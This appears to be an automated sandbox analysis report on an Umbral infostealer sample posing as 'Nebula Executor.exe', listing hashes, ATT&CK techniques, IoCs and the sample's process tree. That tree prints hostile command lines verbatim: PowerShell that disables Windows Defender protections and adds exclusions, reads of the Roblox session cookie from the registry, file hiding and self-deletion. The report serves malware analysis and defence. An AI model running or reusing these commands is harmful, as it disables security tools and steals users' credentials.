umbral | 2322d185fb947885fcdd2b3a5ef43453b3318f5b997f07b6b9cb9c1865f21b6e

Analysis

max time kernel
11s
max time network
13s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
01/02/2025, 21:02

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General

Target

Nebula Executor.exe
Size

311KB
MD5

d8f0449ae074e8752ec44bb5c000f0b2
SHA1

a56a5838c50a83d35c0e49909f225408014a1a78
SHA256

2322d185fb947885fcdd2b3a5ef43453b3318f5b997f07b6b9cb9c1865f21b6e
SHA512

488bfc856814dc453b9fd5d79d4dfeeeefef85711ef2fc967881fa407ba3d332e5ca8ba557ca71796c786c14d3f9f2c2145d65c508b44dc304aa38b9763378ea
SSDEEP

6144:XloZM+rIkd8g+EtXHkv/iD40TTIywvrYjhkijD6CO1b8e1m64iPpGErmx4OmoW:1oZtL+EP80TTIywvrYjhkijD6zzBPpN5

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/4140-1-0x0000020F2B2D0000-0x0000020F2B324000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4900	powershell.exe
1604	powershell.exe
3636	powershell.exe
2720	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Nebula Executor.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
19	discord.com
20	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4560	cmd.exe
2464	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3988	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2464	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4140	Nebula Executor.exe
4900	powershell.exe
4900	powershell.exe
3636	powershell.exe
3636	powershell.exe
2720	powershell.exe
2720	powershell.exe
1328	powershell.exe
1328	powershell.exe
1604	powershell.exe
1604	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4140	Nebula Executor.exe
Token: SeIncreaseQuotaPrivilege	1040	wmic.exe
Token: SeSecurityPrivilege	1040	wmic.exe
Token: SeTakeOwnershipPrivilege	1040	wmic.exe
Token: SeLoadDriverPrivilege	1040	wmic.exe
Token: SeSystemProfilePrivilege	1040	wmic.exe
Token: SeSystemtimePrivilege	1040	wmic.exe
Token: SeProfSingleProcessPrivilege	1040	wmic.exe
Token: SeIncBasePriorityPrivilege	1040	wmic.exe
Token: SeCreatePagefilePrivilege	1040	wmic.exe
Token: SeBackupPrivilege	1040	wmic.exe
Token: SeRestorePrivilege	1040	wmic.exe
Token: SeShutdownPrivilege	1040	wmic.exe
Token: SeDebugPrivilege	1040	wmic.exe
Token: SeSystemEnvironmentPrivilege	1040	wmic.exe
Token: SeRemoteShutdownPrivilege	1040	wmic.exe
Token: SeUndockPrivilege	1040	wmic.exe
Token: SeManageVolumePrivilege	1040	wmic.exe
Token: 33	1040	wmic.exe
Token: 34	1040	wmic.exe
Token: 35	1040	wmic.exe
Token: 36	1040	wmic.exe
Token: SeIncreaseQuotaPrivilege	1040	wmic.exe
Token: SeSecurityPrivilege	1040	wmic.exe
Token: SeTakeOwnershipPrivilege	1040	wmic.exe
Token: SeLoadDriverPrivilege	1040	wmic.exe
Token: SeSystemProfilePrivilege	1040	wmic.exe
Token: SeSystemtimePrivilege	1040	wmic.exe
Token: SeProfSingleProcessPrivilege	1040	wmic.exe
Token: SeIncBasePriorityPrivilege	1040	wmic.exe
Token: SeCreatePagefilePrivilege	1040	wmic.exe
Token: SeBackupPrivilege	1040	wmic.exe
Token: SeRestorePrivilege	1040	wmic.exe
Token: SeShutdownPrivilege	1040	wmic.exe
Token: SeDebugPrivilege	1040	wmic.exe
Token: SeSystemEnvironmentPrivilege	1040	wmic.exe
Token: SeRemoteShutdownPrivilege	1040	wmic.exe
Token: SeUndockPrivilege	1040	wmic.exe
Token: SeManageVolumePrivilege	1040	wmic.exe
Token: 33	1040	wmic.exe
Token: 34	1040	wmic.exe
Token: 35	1040	wmic.exe
Token: 36	1040	wmic.exe
Token: SeDebugPrivilege	4900	powershell.exe
Token: SeDebugPrivilege	3636	powershell.exe
Token: SeDebugPrivilege	2720	powershell.exe
Token: SeDebugPrivilege	1328	powershell.exe
Token: SeIncreaseQuotaPrivilege	4092	wmic.exe
Token: SeSecurityPrivilege	4092	wmic.exe
Token: SeTakeOwnershipPrivilege	4092	wmic.exe
Token: SeLoadDriverPrivilege	4092	wmic.exe
Token: SeSystemProfilePrivilege	4092	wmic.exe
Token: SeSystemtimePrivilege	4092	wmic.exe
Token: SeProfSingleProcessPrivilege	4092	wmic.exe
Token: SeIncBasePriorityPrivilege	4092	wmic.exe
Token: SeCreatePagefilePrivilege	4092	wmic.exe
Token: SeBackupPrivilege	4092	wmic.exe
Token: SeRestorePrivilege	4092	wmic.exe
Token: SeShutdownPrivilege	4092	wmic.exe
Token: SeDebugPrivilege	4092	wmic.exe
Token: SeSystemEnvironmentPrivilege	4092	wmic.exe
Token: SeRemoteShutdownPrivilege	4092	wmic.exe
Token: SeUndockPrivilege	4092	wmic.exe
Token: SeManageVolumePrivilege	4092	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4140 wrote to memory of 1040	4140	Nebula Executor.exe	85
PID 4140 wrote to memory of 1040	4140	Nebula Executor.exe	85
PID 4140 wrote to memory of 4444	4140	Nebula Executor.exe	89
PID 4140 wrote to memory of 4444	4140	Nebula Executor.exe	89
PID 4140 wrote to memory of 4900	4140	Nebula Executor.exe	91
PID 4140 wrote to memory of 4900	4140	Nebula Executor.exe	91
PID 4140 wrote to memory of 3636	4140	Nebula Executor.exe	93
PID 4140 wrote to memory of 3636	4140	Nebula Executor.exe	93
PID 4140 wrote to memory of 2720	4140	Nebula Executor.exe	95
PID 4140 wrote to memory of 2720	4140	Nebula Executor.exe	95
PID 4140 wrote to memory of 1328	4140	Nebula Executor.exe	97
PID 4140 wrote to memory of 1328	4140	Nebula Executor.exe	97
PID 4140 wrote to memory of 4092	4140	Nebula Executor.exe	99
PID 4140 wrote to memory of 4092	4140	Nebula Executor.exe	99
PID 4140 wrote to memory of 3784	4140	Nebula Executor.exe	101
PID 4140 wrote to memory of 3784	4140	Nebula Executor.exe	101
PID 4140 wrote to memory of 3760	4140	Nebula Executor.exe	103
PID 4140 wrote to memory of 3760	4140	Nebula Executor.exe	103
PID 4140 wrote to memory of 1604	4140	Nebula Executor.exe	105
PID 4140 wrote to memory of 1604	4140	Nebula Executor.exe	105
PID 4140 wrote to memory of 3988	4140	Nebula Executor.exe	107
PID 4140 wrote to memory of 3988	4140	Nebula Executor.exe	107
PID 4140 wrote to memory of 4560	4140	Nebula Executor.exe	109
PID 4140 wrote to memory of 4560	4140	Nebula Executor.exe	109
PID 4560 wrote to memory of 2464	4560	cmd.exe	111
PID 4560 wrote to memory of 2464	4560	cmd.exe	111

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4444	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Nebula Executor.exe
"C:\Users\Admin\AppData\Local\Temp\Nebula Executor.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4140
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1040
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Nebula Executor.exe"
  2⤵
  - Views/modifies file attributes
  PID:4444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nebula Executor.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1328
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4092
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3784
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1604
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3988
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Nebula Executor.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4560
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2464

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
966914e2e771de7a4a57a95b6ecfa8a9

SHA1
7a32282fd51dd032967ed4d9a40cc57e265aeff2

SHA256
98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba

SHA512
dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b5e2fd95470c50743ba121fd6bd03a7b

SHA1
75545ed499d9dde51a1fc1cf535eb4f50ec79250

SHA256
d9c961aaf784b9ce81b0a3aac7a39bd41e9f2702d9c28deb20e786d385b88288

SHA512
76bdc793f8b38f603b5ad0957474660bb09e963a2496564b8ceac6591d532fc9498214b81c3908bafc13ff0b07028457c6c997998adfd2203304cb1c82899423

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qldlukcz.2yq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4140-72-0x0000020F45BF0000-0x0000020F45C02000-memory.dmp

Filesize
72KB

Download
memory/4140-35-0x0000020F2CF80000-0x0000020F2CF9E000-memory.dmp

Filesize
120KB

Download
memory/4140-91-0x00007FFF14400000-0x00007FFF14EC1000-memory.dmp

Filesize
10.8MB

Download
memory/4140-87-0x00007FFF14403000-0x00007FFF14405000-memory.dmp

Filesize
8KB

Download
memory/4140-2-0x00007FFF14400000-0x00007FFF14EC1000-memory.dmp

Filesize
10.8MB

Download
memory/4140-33-0x0000020F45A50000-0x0000020F45AC6000-memory.dmp

Filesize
472KB

Download
memory/4140-34-0x0000020F2CFD0000-0x0000020F2D020000-memory.dmp

Filesize
320KB

Download
memory/4140-71-0x0000020F2CFB0000-0x0000020F2CFBA000-memory.dmp

Filesize
40KB

Download
memory/4140-1-0x0000020F2B2D0000-0x0000020F2B324000-memory.dmp

Filesize
336KB

Download
memory/4140-0-0x00007FFF14403000-0x00007FFF14405000-memory.dmp

Filesize
8KB

Download
memory/4900-14-0x00007FFF14400000-0x00007FFF14EC1000-memory.dmp

Filesize
10.8MB

Download
memory/4900-15-0x00007FFF14400000-0x00007FFF14EC1000-memory.dmp

Filesize
10.8MB

Download
memory/4900-3-0x00007FFF14400000-0x00007FFF14EC1000-memory.dmp

Filesize
10.8MB

Download
memory/4900-4-0x000002493D9F0000-0x000002493DA12000-memory.dmp

Filesize
136KB

Download
memory/4900-18-0x00007FFF14400000-0x00007FFF14EC1000-memory.dmp

Filesize
10.8MB

Download